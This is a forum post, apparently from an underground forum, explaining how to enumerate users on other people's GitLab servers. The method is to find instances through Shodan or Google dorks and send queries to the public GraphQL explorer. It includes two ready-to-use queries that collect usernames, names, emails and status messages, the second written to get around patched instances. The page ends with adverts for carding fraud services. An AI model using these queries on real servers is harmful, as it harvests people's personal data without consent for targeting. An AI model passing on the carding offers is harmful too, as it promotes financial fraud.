GitLab user enumeration - GraphQL

Ernestbok

Well-known member
Member
Joined
3 yrs. 4 mth. 14 days
Messages
3,934
Reaction score
5,775
Wallet
0$
Some GitLab instances have a public GraphQL endpoint, giving the possibility to enumerate users among other things.
There is not much to add, it's simple; you can use Shodan or Google Dorks to find GitLab instances, then change the path to /-/graphql-explorer (e.g,
Please, Log in or Register to view URLs content!
,
Please, Log in or Register to view URLs content!
).
Query examples:

Simple
{
users {
nodes {
id
username
name
publicEmail
}
}
}

You may stumble on patched instances, like I did while I was writing this; I could not retrieve the users using the first query, so I got creative.
{
projects {
edges {
node {
id
name
description
createdAt
projectMembers {
nodes {
user {
id
username
name
publicEmail
webUrl
status {
message
}
}
}
}
ciConfigPathOrDefault
}
}
}
}
 
Paid adv. expire in 2 months
CLICK to buy Advertisement !
westernunion carding Verified & Trusted WesternUnion | MoneyGram | Bank - Transferring [299$ BTC for 2000$ WU]
electronics carding Verified & Trusted Electronics Carding, Carding iPhone, Samsung Carding, MacBook Carding, Laptops Carding
Top Bottom